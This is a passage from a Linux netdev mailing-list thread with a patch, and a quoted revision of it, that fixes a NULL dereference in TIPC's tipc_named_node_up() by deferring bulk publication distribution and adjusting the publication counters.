@@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net)
 #ifdef CONFIG_TIPC_CRYPTO
 	tipc_crypto_stop(&tipc_net(net)->crypto_tx);
 #endif
+	wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count));
 	wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0);
 }
 
diff --git a/net/tipc/core.h b/net/tipc/core.h
index 9ce5f9ff6cc0..be335ce83389 100644
--- a/net/tipc/core.h
+++ b/net/tipc/core.h
@@ -145,6 +145,10 @@ struct tipc_net {
 	struct work_struct work;
 	/* The numbers of work queues in schedule */
 	atomic_t wq_count;
+	/* The numbers of works of created nodes in schedule */
+	atomic_t node_wq_count;
+	/* flag to wake up scheduled works of created nodes */
+	atomic_t finalized;
 };
 
 static inline struct tipc_net *tipc_net(struct net *net)
diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
index ba4f4906e13b..e701824bbb2a 100644
--- a/net/tipc/name_distr.c
+++ b/net/tipc/name_distr.c
@@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
  * @pls: linked list of publication items to be packed into buffer chain
  * @seqno: sequence number for this message
  */
-static void named_distribute(struct net *net, struct sk_buff_head *list,
-			     u32 dnode, struct list_head *pls, u16 seqno)
+static int named_distribute(struct net *net, struct sk_buff_head *list,
+			    u32 dnode, struct list_head *pls, u16 seqno)
 {
 	struct publication *publ;
 	struct sk_buff *skb = NULL;
@@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
 			skb = named_prepare_buf(net, PUBLICATION, msg_rem,
 						dnode);
 			if (!skb) {
+				__skb_queue_purge(list);
 				pr_warn("Bulk publication failure\n");
-				return;
+				return 1;
 			}
 			hdr = buf_msg(skb);
 			msg_set_bc_ack_invalid(hdr, true);
@@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
 	hdr = buf_msg(skb_peek_tail(list));
 	msg_set_last_bulk(hdr);
 	msg_set_named_seqno(hdr, seqno);
+
+	return 0;
 }
 
 /**
- * tipc_named_node_up - tell specified node about all publications by this node
+ * tipc_named_distribute - distribute all publications to specified node
  * @net: the associated network namespace
  * @dnode: destination node
- * @capabilities: peer node's capabilities
  */
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+static int tipc_named_distribute(struct net *net, u32 dnode)
 {
 	struct name_table *nt = tipc_name_table(net);
 	struct tipc_net *tn = tipc_net(net);
@@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
 
 	__skb_queue_head_init(&head);
 	spin_lock_bh(&tn->nametbl_lock);
-	if (!(capabilities & TIPC_NAMED_BCAST))
-		nt->rc_dests++;
 	seqno = nt->snd_nxt;
 	spin_unlock_bh(&tn->nametbl_lock);
 
 	read_lock_bh(&nt->cluster_scope_lock);
-	named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
+	if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return -ENOBUFS;
+	}
 	tipc_node_xmit(net, &head, dnode, 0);
 	read_unlock_bh(&nt->cluster_scope_lock);
+
+	return 0;
+}
+
+/**
+ * tipc_named_node_up - tell specified node about all publications by this node
+ * @net: the associated network namespace
+ * @dnode: destination node
+ * @capabilities: peer node's capabilities
+ */
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+{
+	struct name_table *nt = tipc_name_table(net);
+	struct tipc_net *tn = tipc_net(net);
+
+	spin_lock_bh(&tn->nametbl_lock);
+	if (!(capabilities & TIPC_NAMED_BCAST))
+		nt->rc_dests++;
+	spin_unlock_bh(&tn->nametbl_lock);
+
+	read_lock_bh(&nt->cluster_scope_lock);
+	/* 1. tipc_net_finalize_work() is not scheduled because of namespace
+	 *    teardown.
+	 * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed
+	 *    to insert node self address publication to nt->cluster_scope
+	 *    due to memory allocation failure.
+	 * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not
+	 *    executed yet.
+	 */
+	if (unlikely(list_empty(&nt->cluster_scope))) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return 1;
+	}
+	read_unlock_bh(&nt->cluster_scope_lock);
+
+	return tipc_named_distribute(net, dnode);
+}
+
+/**
+ * tipc_named_dist_cluster_scope - distribute all publications to specified node
+ * @net: the associated network namespace
+ * @dnode: destination node
+ */
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
+{
+	struct name_table *nt = tipc_name_table(net);
+	bool reinsert = false;
+
+	read_lock_bh(&nt->cluster_scope_lock);
+	if (unlikely(list_empty(&nt->cluster_scope)))
+		reinsert = true;
+	read_unlock_bh(&nt->cluster_scope_lock);
+	/* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert
+	 * node self address publication to nt->cluster_scope due to memory
+	 * allocation failure. So, reinsert this publication.
+	 */
+	if (reinsert) {
+		struct tipc_net *tn = tipc_net(net);
+		struct tipc_socket_addr sk;
+		struct tipc_uaddr ua;
+
+		sk.ref = 0;
+		sk.node = tn->node_addr;
+		tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE,
+			   TIPC_NODE_STATE, tn->node_addr, tn->node_addr);
+		if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr))
+			return -ENOBUFS;
+	}
+
+	return tipc_named_distribute(net, dnode);
 }
 
 /**
diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
index c677f6f082df..cadf4e8c3e66 100644
--- a/net/tipc/name_distr.h
+++ b/net/tipc/name_distr.h
@@ -69,7 +69,8 @@ struct distr_item {
 
 struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
 struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
 void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
 		    u16 *rcv_nxt, bool *open);
 void tipc_named_reinit(struct net *net);
diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c
index 253c72d1366e..d651605f95f2 100644
--- a/net/tipc/name_table.c
+++ b/net/tipc/name_table.c
@@ -763,21 +763,40 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua,
 					 struct tipc_socket_addr *sk, u32 key)
 {
 	struct name_table *nt = tipc_name_table(net);
+	u32 max_user_pub = TIPC_MAX_PUBL - 1;
 	struct tipc_net *tn = tipc_net(net);
 	struct publication *p = NULL;
 	struct sk_buff *skb = NULL;
+	bool protocol_type = false;
 	u32 rc_dests;
 
+	if (ua->sr.type == TIPC_NODE_STATE || ua->sr.type == TIPC_LINK_STATE ||
+	    ua->sr.type == TIPC_TOP_SRV)
+		protocol_type = true;
+
 	spin_lock_bh(&tn->nametbl_lock);
+	if (protocol_type)
+		goto insert;
 
-	if (nt->local_publ_count >= TIPC_MAX_PUBL) {
-		pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL);
+	/* Reserve one entry for node state service type because it has cluster
+	 * scope and it is distributed in bulk. So, the maximum number of user's
+	 * publications is (TIPC_MAX_PUBL - 1).
+	 */
+	if (nt->local_publ_count >= max_user_pub) {
+		pr_warn("Bind failed, max limit %u reached\n", max_user_pub);
 		goto exit;
 	}
 
+insert:
 	p = tipc_nametbl_insert_publ(net, ua, sk, key);
 	if (p) {
-		nt->local_publ_count++;
+		/* Not count node state, link state and topology server types
+		 * so that maximum nt->local_publ_count does not prevent
+		 * protocol service types from being inserted to the name
+		 * table.
+		 */
+		if (!protocol_type)
+			nt->local_publ_count++;
 		skb = tipc_named_publish(net, p);
 	}
 	rc_dests = nt->rc_dests;
@@ -810,7 +829,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua,
 
 	p = tipc_nametbl_remove_publ(net, ua, sk, key);
 	if (p) {
-		nt->local_publ_count--;
+		if (p->sr.type != TIPC_NODE_STATE &&
+		    p->sr.type != TIPC_LINK_STATE &&
+		    p->sr.type != TIPC_TOP_SRV)
+			nt->local_publ_count--;
 		skb = tipc_named_withdraw(net, p);
 		list_del_init(&p->binding_sock);
 		kfree_rcu(p, rcu);
diff --git a/net/tipc/net.c b/net/tipc/net.c
index 7e65d0b0c4a8..75ac4e3cd01a 100644
--- a/net/tipc/net.c
+++ b/net/tipc/net.c
@@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr)
 	tipc_sk_reinit(net);
 	tipc_mon_reinit_self(net);
 	tipc_nametbl_publish(net, &ua, &sk, addr);
+	atomic_set(&tn->finalized, 1);
+	/* Wake up nodes waiting for distributing bulk of publications
+	 * if applicable.
+	 */
+	tipc_node_wakeup(net);
 }
 
 void tipc_net_finalize_work(struct work_struct *work)
diff --git a/net/tipc/node.c b/net/tipc/node.c
index 8e4ef2630ae4..ae7be02a65a9 100644
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -111,6 +111,9 @@ struct tipc_bclink_entry {
  * @peer_net: peer's net namespace
  * @peer_hash_mix: hash for this peer (FIXME)
  * @crypto_rx: RX crypto handler
+ * @work: work item for bulk distribution of cluster scope publications
+ * @work_scheduled: flag to indicate the work has been scheduled
+ * @finalized: flag to wake up scheduled work
  */
 struct tipc_node {
 	u32 addr;
@@ -145,6 +148,9 @@ struct tipc_node {
 #ifdef CONFIG_TIPC_CRYPTO
 	struct tipc_crypto *crypto_rx;
 #endif
+	struct work_struct work;
+	atomic_t work_scheduled;
+	atomic_t finalized;
 };
 
 /* Node FSM states and events:
@@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
 	write_unlock_bh(&n->lock);
 }
 
+static void tipc_node_down(struct tipc_node *n)
+{
+	u32 bearer_id, bearer_cnt;
+
+	tipc_node_read_lock(n);
+	bearer_cnt = n->link_cnt;
+	tipc_node_read_unlock(n);
+	for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++)
+		tipc_node_link_down(n, bearer_id, false);
+}
+
+static void tipc_node_dist_bulk(struct work_struct *work)
+{
+	struct tipc_node *node = container_of(work, struct tipc_node, work);
+	struct tipc_net *tn = tipc_net(node->net);
+
+	wait_var_event(&node->finalized, atomic_read(&node->finalized));
+
+	/* node is down */
+	if (!atomic_read(&node->work_scheduled))
+		goto exit;
+
+	/* Stop waking up work in tipc_node_timeout() */
+	atomic_set(&node->work_scheduled, 0);
+
+	if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0)
+		tipc_node_down(node);
+
+exit:
+	if (atomic_dec_and_test(&tn->node_wq_count))
+		wake_up_var(&tn->node_wq_count);
+
+	tipc_node_put(node);
+}
+
+static void tipc_node_cancel_work(struct tipc_node *node)
+{
+	if (atomic_read(&node->work_scheduled)) {
+		struct tipc_net *tn = tipc_net(node->net);
+
+		/* Wake up scheduled work if it is waiting. */
+		if (!atomic_read(&node->finalized)) {
+			atomic_set(&node->work_scheduled, 0);
+			atomic_set(&node->finalized, 1);
+			wake_up_var(&node->finalized);
+		}
+
+		/* Work is pending */
+		if (cancel_work(&node->work)) {
+			if (atomic_dec_and_test(&tn->node_wq_count))
+				wake_up_var(&tn->node_wq_count);
+			tipc_node_put(node);
+		}
+	}
+}
+
 static void tipc_node_write_unlock(struct tipc_node *n)
 	__releases(n->lock)
 {
@@ -421,11 +483,32 @@ static void tipc_node_write_unlock(struct tipc_node *n)
 
 	write_unlock_bh(&n->lock);
 
-	if (flags & TIPC_NOTIFY_NODE_DOWN)
+	if (flags & TIPC_NOTIFY_NODE_DOWN) {
 		tipc_publ_notify(net, publ_list, node, n->capabilities);
-
-	if (flags & TIPC_NOTIFY_NODE_UP)
-		tipc_named_node_up(net, node, n->capabilities);
+		tipc_node_cancel_work(n);
+	}
+
+	if (flags & TIPC_NOTIFY_NODE_UP) {
+		struct tipc_net *tn = tipc_net(net);
+		int rc = 0;
+
+		rc = tipc_named_node_up(net, node, n->capabilities);
+		/* Defer bulk distribution to work queue */
+		if (rc > 0) {
+			atomic_set(&n->work_scheduled, 1);
+			atomic_inc(&tn->node_wq_count);
+			tipc_node_get(n);
+			if (!schedule_work(&n->work)) {
+				atomic_dec(&tn->node_wq_count);
+				tipc_node_put(n);
+			}
+		} else if (rc < 0) {
+			/* Bring the node down to start over bulk distribution
+			 * when the first link is up again.
+			 */
+			tipc_node_down(n);
+		}
+	}
 
 	if (flags & TIPC_NOTIFY_LINK_UP) {
 		tipc_mon_peer_up(net, node, bearer_id);
@@ -564,6 +647,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
 	INIT_LIST_HEAD(&n->list);
 	INIT_LIST_HEAD(&n->publ_list);
 	INIT_LIST_HEAD(&n->conn_sks);
+	INIT_WORK(&n->work, tipc_node_dist_bulk);
+	atomic_set(&n->work_scheduled, 0);
+	atomic_set(&n->finalized, 0);
 	skb_queue_head_init(&n->bc_entry.namedq);
 	skb_queue_head_init(&n->bc_entry.inputq1);
 	__skb_queue_head_init(&n->bc_entry.arrvq);
@@ -653,6 +739,21 @@ void tipc_node_stop(struct net *net)
 	spin_unlock_bh(&tn->node_list_lock);
 }
 
+void tipc_node_wakeup(struct net *net)
+{
+	struct tipc_net *tn = tipc_net(net);
+	struct tipc_node *node;
+
+	rcu_read_lock();
+	list_for_each_entry_rcu(node, &tn->node_list, list) {
+		if (atomic_read(&node->work_scheduled)) {
+			atomic_set(&node->finalized, 1);
+			wake_up_var(&node->finalized);
+		}
+	}
+	rcu_read_unlock();
+}
+
 void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr)
 {
 	struct tipc_node *n;
@@ -801,6 +902,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer)
 static void tipc_node_timeout(struct timer_list *t)
 {
 	struct tipc_node *n = timer_container_of(n, t, timer);
+	struct tipc_net *tn = tipc_net(n->net);
 	struct tipc_link_entry *le;
 	struct sk_buff_head xmitq;
 	int remains = n->link_cnt;
@@ -814,6 +916,11 @@ static void tipc_node_timeout(struct timer_list *t)
 		return;
 	}
 
+	if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) {
+		atomic_set(&n->finalized, 1);
+		wake_up_var(&n->finalized);
+	}
+
 #ifdef CONFIG_TIPC_CRYPTO
 	/* Take any crypto key related actions first */
 	tipc_crypto_timeout(n->crypto_rx);
diff --git a/net/tipc/node.h b/net/tipc/node.h
index 154a5bbb0d29..c7bc3bc05328 100644
--- a/net/tipc/node.h
+++ b/net/tipc/node.h
@@ -75,6 +75,7 @@ enum {
 #define INVALID_BEARER_ID -1
 
 void tipc_node_stop(struct net *net);
+void tipc_node_wakeup(struct net *net);
 bool tipc_node_get_id(struct net *net, u32 addr, u8 *id);
 u32 tipc_node_get_addr(struct tipc_node *node);
 char *tipc_node_get_id_str(struct tipc_node *node);
-- 
2.43.0


^ permalink raw reply	[flat|nested] 14+ messages in thread

* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-29  3:50               ` Tung Quang Nguyen
@ 2026-07-29  4:18                 ` Weiming Shi
  0 siblings, 0 replies; 14+ messages in thread
From: Weiming Shi @ 2026-07-29  4:18 UTC (permalink / raw)
  To: Tung Quang Nguyen
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月29日周三 11:50写道:
>
> >It looks like the limit check also needs to skip NODE_STATE, LINK_STATE and
> >TOP_SRV, as the counter update does.
> I fixed the missing skip for these protocol service types and another counter leak in below updated patch.
> Could you please verify it ?
>
> Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
> ---
>  net/tipc/core.c       |   3 ++
>  net/tipc/core.h       |   4 ++
>  net/tipc/name_distr.c |  91 +++++++++++++++++++++++++++++----
>  net/tipc/name_distr.h |   3 +-
>  net/tipc/name_table.c |  30 +++++++++--
>  net/tipc/net.c        |   5 ++
>  net/tipc/node.c       | 115 ++++++++++++++++++++++++++++++++++++++++--
>  net/tipc/node.h       |   1 +
>  8 files changed, 234 insertions(+), 18 deletions(-)
>
> diff --git a/net/tipc/core.c b/net/tipc/core.c
> index 315975c3be81..1e1fe78cc4ee 100644
> --- a/net/tipc/core.c
> +++ b/net/tipc/core.c
> @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net)
>         tn->trial_addr = 0;
>         tn->addr_trial_end = 0;
>         tn->capabilities = TIPC_NODE_CAPABILITIES;
> +       atomic_set(&tn->node_wq_count, 0);
> +       atomic_set(&tn->finalized, 0);
>         INIT_WORK(&tn->work, tipc_net_finalize_work);
>         memset(tn->node_id, 0, sizeof(tn->node_id));
>         memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
> @@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net)
>  #ifdef CONFIG_TIPC_CRYPTO
>         tipc_crypto_stop(&tipc_net(net)->crypto_tx);
>  #endif
> +       wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count));
>         wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0);
>  }
>
> diff --git a/net/tipc/core.h b/net/tipc/core.h
> index 9ce5f9ff6cc0..be335ce83389 100644
> --- a/net/tipc/core.h
> +++ b/net/tipc/core.h
> @@ -145,6 +145,10 @@ struct tipc_net {
>         struct work_struct work;
>         /* The numbers of work queues in schedule */
>         atomic_t wq_count;
> +       /* The numbers of works of created nodes in schedule */
> +       atomic_t node_wq_count;
> +       /* flag to wake up scheduled works of created nodes */
> +       atomic_t finalized;
>  };
>
>  static inline struct tipc_net *tipc_net(struct net *net)
> diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
> index ba4f4906e13b..e701824bbb2a 100644
> --- a/net/tipc/name_distr.c
> +++ b/net/tipc/name_distr.c
> @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
>   * @pls: linked list of publication items to be packed into buffer chain
>   * @seqno: sequence number for this message
>   */
> -static void named_distribute(struct net *net, struct sk_buff_head *list,
> -                            u32 dnode, struct list_head *pls, u16 seqno)
> +static int named_distribute(struct net *net, struct sk_buff_head *list,
> +                           u32 dnode, struct list_head *pls, u16 seqno)
>  {
>         struct publication *publ;
>         struct sk_buff *skb = NULL;
> @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
>                         skb = named_prepare_buf(net, PUBLICATION, msg_rem,
>                                                 dnode);
>                         if (!skb) {
> +                               __skb_queue_purge(list);
>                                 pr_warn("Bulk publication failure\n");
> -                               return;
> +                               return 1;
>                         }
>                         hdr = buf_msg(skb);
>                         msg_set_bc_ack_invalid(hdr, true);
> @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
>         hdr = buf_msg(skb_peek_tail(list));
>         msg_set_last_bulk(hdr);
>         msg_set_named_seqno(hdr, seqno);
> +
> +       return 0;
>  }
>
>  /**
> - * tipc_named_node_up - tell specified node about all publications by this node
> + * tipc_named_distribute - distribute all publications to specified node
>   * @net: the associated network namespace
>   * @dnode: destination node
> - * @capabilities: peer node's capabilities
>   */
> -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
> +static int tipc_named_distribute(struct net *net, u32 dnode)
>  {
>         struct name_table *nt = tipc_name_table(net);
>         struct tipc_net *tn = tipc_net(net);
> @@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
>
>         __skb_queue_head_init(&head);
>         spin_lock_bh(&tn->nametbl_lock);
> -       if (!(capabilities & TIPC_NAMED_BCAST))
> -               nt->rc_dests++;
>         seqno = nt->snd_nxt;
>         spin_unlock_bh(&tn->nametbl_lock);
>
>         read_lock_bh(&nt->cluster_scope_lock);
> -       named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
> +       if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
> +               read_unlock_bh(&nt->cluster_scope_lock);
> +               return -ENOBUFS;
> +       }
>         tipc_node_xmit(net, &head, dnode, 0);
>         read_unlock_bh(&nt->cluster_scope_lock);
> +
> +       return 0;
> +}
> +
> +/**
> + * tipc_named_node_up - tell specified node about all publications by this node
> + * @net: the associated network namespace
> + * @dnode: destination node
> + * @capabilities: peer node's capabilities
> + */
> +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
> +{
> +       struct name_table *nt = tipc_name_table(net);
> +       struct tipc_net *tn = tipc_net(net);
> +
> +       spin_lock_bh(&tn->nametbl_lock);
> +       if (!(capabilities & TIPC_NAMED_BCAST))
> +               nt->rc_dests++;
> +       spin_unlock_bh(&tn->nametbl_lock);
> +
> +       read_lock_bh(&nt->cluster_scope_lock);
> +       /* 1. tipc_net_finalize_work() is not scheduled because of namespace
> +        *    teardown.
> +        * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed
> +        *    to insert node self address publication to nt->cluster_scope
> +        *    due to memory allocation failure.
> +        * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not
> +        *    executed yet.
> +        */
> +       if (unlikely(list_empty(&nt->cluster_scope))) {
> +               read_unlock_bh(&nt->cluster_scope_lock);
> +               return 1;
> +       }
> +       read_unlock_bh(&nt->cluster_scope_lock);
> +
> +       return tipc_named_distribute(net, dnode);
> +}
> +
> +/**
> + * tipc_named_dist_cluster_scope - distribute all publications to specified node
> + * @net: the associated network namespace
> + * @dnode: destination node
> + */
> +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
> +{
> +       struct name_table *nt = tipc_name_table(net);
> +       bool reinsert = false;
> +
> +       read_lock_bh(&nt->cluster_scope_lock);
> +       if (unlikely(list_empty(&nt->cluster_scope)))
> +               reinsert = true;
> +       read_unlock_bh(&nt->cluster_scope_lock);
> +       /* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert
> +        * node self address publication to nt->cluster_scope due to memory
> +        * allocation failure. So, reinsert this publication.
> +        */
> +       if (reinsert) {
> +               struct tipc_net *tn = tipc_net(net);
> +               struct tipc_socket_addr sk;
> +               struct tipc_uaddr ua;
> +
> +               sk.ref = 0;
> +               sk.node = tn->node_addr;
> +               tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE,
> +                          TIPC_NODE_STATE, tn->node_addr, tn->node_addr);
> +               if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr))
> +                       return -ENOBUFS;
> +       }
> +
> +       return tipc_named_distribute(net, dnode);
>  }
>
>  /**
> diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
> index c677f6f082df..cadf4e8c3e66 100644
> --- a/net/tipc/name_distr.h
> +++ b/net/tipc/name_distr.h
> @@ -69,7 +69,8 @@ struct distr_item {
>
>  struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
>  struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
> -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
> +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
> +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
>  void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
>                     u16 *rcv_nxt, bool *open);
>  void tipc_named_reinit(struct net *net);
> diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c
> index 253c72d1366e..d651605f95f2 100644
> --- a/net/tipc/name_table.c
> +++ b/net/tipc/name_table.c
> @@ -763,21 +763,40 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua,
>                                          struct tipc_socket_addr *sk, u32 key)
>  {
>         struct name_table *nt = tipc_name_table(net);
> +       u32 max_user_pub = TIPC_MAX_PUBL - 1;
>         struct tipc_net *tn = tipc_net(net);
>         struct publication *p = NULL;
>         struct sk_buff *skb = NULL;
> +       bool protocol_type = false;
>         u32 rc_dests;
>
> +       if (ua->sr.type == TIPC_NODE_STATE || ua->sr.type == TIPC_LINK_STATE ||
> +           ua->sr.type == TIPC_TOP_SRV)
> +               protocol_type = true;
> +
>         spin_lock_bh(&tn->nametbl_lock);
> +       if (protocol_type)
> +               goto insert;
>
> -       if (nt->local_publ_count >= TIPC_MAX_PUBL) {
> -               pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL);
> +       /* Reserve one entry for node state service type because it has cluster
> +        * scope and it is distributed in bulk. So, the maximum number of user's
> +        * publications is (TIPC_MAX_PUBL - 1).
> +        */
> +       if (nt->local_publ_count >= max_user_pub) {
> +               pr_warn("Bind failed, max limit %u reached\n", max_user_pub);
>                 goto exit;
>         }
>
> +insert:
>         p = tipc_nametbl_insert_publ(net, ua, sk, key);
>         if (p) {
> -               nt->local_publ_count++;
> +               /* Not count node state, link state and topology server types
> +                * so that maximum nt->local_publ_count does not prevent
> +                * protocol service types from being inserted to the name
> +                * table.
> +                */
> +               if (!protocol_type)
> +                       nt->local_publ_count++;
>                 skb = tipc_named_publish(net, p);
>         }
>         rc_dests = nt->rc_dests;
> @@ -810,7 +829,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua,
>
>         p = tipc_nametbl_remove_publ(net, ua, sk, key);
>         if (p) {
> -               nt->local_publ_count--;
> +               if (p->sr.type != TIPC_NODE_STATE &&
> +                   p->sr.type != TIPC_LINK_STATE &&
> +                   p->sr.type != TIPC_TOP_SRV)
> +                       nt->local_publ_count--;
>                 skb = tipc_named_withdraw(net, p);
>                 list_del_init(&p->binding_sock);
>                 kfree_rcu(p, rcu);
> diff --git a/net/tipc/net.c b/net/tipc/net.c
> index 7e65d0b0c4a8..75ac4e3cd01a 100644
> --- a/net/tipc/net.c
> +++ b/net/tipc/net.c
> @@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr)
>         tipc_sk_reinit(net);
>         tipc_mon_reinit_self(net);
>         tipc_nametbl_publish(net, &ua, &sk, addr);
> +       atomic_set(&tn->finalized, 1);
> +       /* Wake up nodes waiting for distributing bulk of publications
> +        * if applicable.
> +        */
> +       tipc_node_wakeup(net);
>  }
>
>  void tipc_net_finalize_work(struct work_struct *work)
> diff --git a/net/tipc/node.c b/net/tipc/node.c
> index 8e4ef2630ae4..ae7be02a65a9 100644
> --- a/net/tipc/node.c
> +++ b/net/tipc/node.c
> @@ -111,6 +111,9 @@ struct tipc_bclink_entry {
>   * @peer_net: peer's net namespace
>   * @peer_hash_mix: hash for this peer (FIXME)
>   * @crypto_rx: RX crypto handler
> + * @work: work item for bulk distribution of cluster scope publications
> + * @work_scheduled: flag to indicate the work has been scheduled
> + * @finalized: flag to wake up scheduled work
>   */
>  struct tipc_node {
>         u32 addr;
> @@ -145,6 +148,9 @@ struct tipc_node {
>  #ifdef CONFIG_TIPC_CRYPTO
>         struct tipc_crypto *crypto_rx;
>  #endif
> +       struct work_struct work;
> +       atomic_t work_scheduled;
> +       atomic_t finalized;
>  };
>
>  /* Node FSM states and events:
> @@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
>         write_unlock_bh(&n->lock);
>  }
>
> +static void tipc_node_down(struct tipc_node *n)
> +{
> +       u32 bearer_id, bearer_cnt;
> +
> +       tipc_node_read_lock(n);
> +       bearer_cnt = n->link_cnt;
> +       tipc_node_read_unlock(n);
> +       for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++)
> +               tipc_node_link_down(n, bearer_id, false);
> +}
> +
> +static void tipc_node_dist_bulk(struct work_struct *work)
> +{
> +       struct tipc_node *node = container_of(work, struct tipc_node, work);
> +       struct tipc_net *tn = tipc_net(node->net);
> +
> +       wait_var_event(&node->finalized, atomic_read(&node->finalized));
> +
> +       /* node is down */
> +       if (!atomic_read(&node->work_scheduled))
> +               goto exit;
> +
> +       /* Stop waking up work in tipc_node_timeout() */
> +       atomic_set(&node->work_scheduled, 0);
> +
> +       if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0)
> +               tipc_node_down(node);
> +
> +exit:
> +       if (atomic_dec_and_test(&tn->node_wq_count))
> +               wake_up_var(&tn->node_wq_count);
> +
> +       tipc_node_put(node);
> +}
> +
> +static void tipc_node_cancel_work(struct tipc_node *node)
> +{
> +       if (atomic_read(&node->work_scheduled)) {
> +               struct tipc_net *tn = tipc_net(node->net);
> +
> +               /* Wake up scheduled work if it is waiting. */
> +               if (!atomic_read(&node->finalized)) {
> +                       atomic_set(&node->work_scheduled, 0);
> +                       atomic_set(&node->finalized, 1);
> +                       wake_up_var(&node->finalized);
> +               }
> +
> +               /* Work is pending */
> +               if (cancel_work(&node->work)) {
> +                       if (atomic_dec_and_test(&tn->node_wq_count))
> +                               wake_up_var(&tn->node_wq_count);
> +                       tipc_node_put(node);
> +               }
> +       }
> +}
> +
>  static void tipc_node_write_unlock(struct tipc_node *n)
>         __releases(n->lock)
>  {
> @@ -421,11 +483,32 @@ static void tipc_node_write_unlock(struct tipc_node *n)
>
>         write_unlock_bh(&n->lock);
>
> -       if (flags & TIPC_NOTIFY_NODE_DOWN)
> +       if (flags & TIPC_NOTIFY_NODE_DOWN) {
>                 tipc_publ_notify(net, publ_list, node, n->capabilities);
> -
> -       if (flags & TIPC_NOTIFY_NODE_UP)
> -               tipc_named_node_up(net, node, n->capabilities);
> +               tipc_node_cancel_work(n);
> +       }
> +
> +       if (flags & TIPC_NOTIFY_NODE_UP) {
> +               struct tipc_net *tn = tipc_net(net);
> +               int rc = 0;
> +
> +               rc = tipc_named_node_up(net, node, n->capabilities);
